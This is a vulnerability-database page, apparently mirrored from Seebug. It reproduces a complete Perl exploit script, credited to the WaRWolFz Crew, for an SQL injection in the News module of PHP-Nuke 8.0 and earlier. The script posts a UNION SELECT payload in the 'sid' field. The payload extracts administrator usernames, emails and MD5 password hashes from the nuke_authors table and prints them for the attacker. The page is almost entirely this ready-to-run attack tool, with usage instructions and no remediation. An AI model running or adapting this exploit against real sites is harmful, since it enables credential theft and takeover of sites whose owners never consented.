Lucene search
K

PHP-Nuke <= 8.0 - Remote SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

Remote SQL Injection exploit in PHP-Nuke version 8.

Code

                                                #!/usr/bin/perl
#[0-Day] PHP-Nuke &#60;= 8.0 (News) Remote SQL Injection Exploit
#Created: 2010.04.23 after 3 days the bug was discovered.
#Author/s: Dante90 & The:Paradox, WaRWolFz Crew
#Crew Members: 4lasthor, Andryxxx, Cod3, Gho5t, HeRtZ, N.o.3.X, RingZero, s3rg3770, Shades Master, The:Paradox, V1R5, yeat
#Web Site: www.warwolfz.org

use strict;
use warnings;

use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Headers;

my $UserName = shift or usage();
my $HostName = &#34;http://www.victime_site.org/path/&#34;; #Insert Victime Web Site
Link

my $Method = HTTP::Request-&#62;new(POST =&#62; $HostName.&#39;modules.php?name=News&#39;);
my $Cookies = new HTTP::Cookies;
my $UserAgent = new LWP::UserAgent(
agent =&#62; &#39;Mozilla/5.0&#39;,
max_redirect =&#62; 0,
cookie_jar =&#62; $Cookies,
default_headers =&#62; HTTP::Headers-&#62;new,
) or die $!;
my $Referrer = &#34;sid=Dante90, WaRWolFz Crew
http://www.warwolfz.org/&op=rate_complete&score=1&#34;;

sub SQL_Injection{
my ($Victime) = @_;
return &#34;-2&#39; UNION#\n SELECT
CONCAT_WS(CHAR(32,58,32),`aid`,`name`,`email`,`pwd`) FROM `nuke_authors`
WHERE `aid`=&#39;${Victime}&#39;-- &#34;;
}

$Method-&#62;referer($HostName.&#39;modules.php?name=News&#39;);
$Method-&#62;content_type(&#39;application/x-www-form-urlencoded&#39;);
$Method-&#62;content(&#34;sid=&#34;.SQL_Injection($UserName).&#34;&op=rate_complete&score=1&#34;);
my $Response = $UserAgent-&#62;request($Method);
$Response-&#62;is_success or die &#34;$HostName : &#34;,$Response-&#62;message,&#34;\n&#34;;

if($Response-&#62;content =~ /([a-zA-Z0-9-_.]{2,15}) : ([a-zA-Z0-9-_.]{2,15}) :
([a-zA-Z0-9.@]{1,50}) : ([a-f0-9]{32})/i){
refresh($HostName, $1, $2, $3, $4);
print &#34; * Exploit Successfully Executed *\n&#34;;
print &#34; ------------------------------------------------------\n\n&#34;;
system(&#34;pause&#34;);
}else{
refresh($HostName, &#34;&#34;, &#34;&#34;, &#34;&#34;, &#34;&#34;);
print &#34; * Error extracting sensible data.\n&#34;;
print &#34; * Exploit Failed *\n&#34;;
print &#34; ------------------------------------------------------ \n\n&#34;;
}


sub usage{
system(&#34;cls&#34;);
{
print &#34; \n [0-Day] PHP-Nuke &#60;= 8.0 (News) Remote SQL Injection
Exploit\n&#34;;
print &#34; ------------------------------------------------------ \n&#34;;
print &#34; * USAGE: *\n&#34;;
print &#34; * cd [Local Disk]:\\[Directory Of Exploit]\\ *\n&#34;;
print &#34; * perl name_exploit.pl [username] *\n&#34;;
print &#34; ------------------------------------------------------ \n&#34;;
print &#34; * Powered By Dante90 & The:Paradox, WaRWolFz Crew *\n&#34;;
print &#34; * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n&#34;;
print &#34; ------------------------------------------------------ \n&#34;;
};
exit;
}

sub refresh{
system(&#34;cls&#34;);
{
print &#34; \n [0-Day] PHP-Nuke &#60;= 8.0 (News) Remote SQL Injection
Exploit\n&#34;;
print &#34; ------------------------------------------------------ \n&#34;;
print &#34; * USAGE: *\n&#34;;
print &#34; * cd [Local Disk]:\\[Directory Of Exploit]\\ *\n&#34;;
print &#34; * perl name_exploit.pl [username] *\n&#34;;
print &#34; ------------------------------------------------------ \n&#34;;
print &#34; * Powered By Dante90 & The:Paradox, WaRWolFz Crew *\n&#34;;
print &#34; * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n&#34;;
print &#34; ------------------------------------------------------ \n&#34;;
};
print &#34; * Victime Site: &#34; . $_[0] . &#34;\n&#34;;
print &#34; * User ID: &#34; . $_[1] . &#34;\n&#34;;
print &#34; * Username: &#34; . $_[2] . &#34;\n&#34;;
print &#34; * Password: &#34; . $_[4] . &#34;\n&#34;;
print &#34; * E-Mail: &#34; . $_[3] . &#34;\n&#34;;
}

#WaRWolFz Crew
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation